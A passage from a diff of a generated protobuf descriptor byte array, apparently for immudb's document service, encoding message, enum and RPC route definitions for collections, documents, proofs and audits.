0x0a, 0x08, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, - 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, - 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x42, 0x0a, 0x15, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x18, - 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, - 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, - 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, - 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, - 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, - 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, - 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa1, 0x0f, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, - 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, - 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, - 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, - 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, - 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, - 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, + 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, + 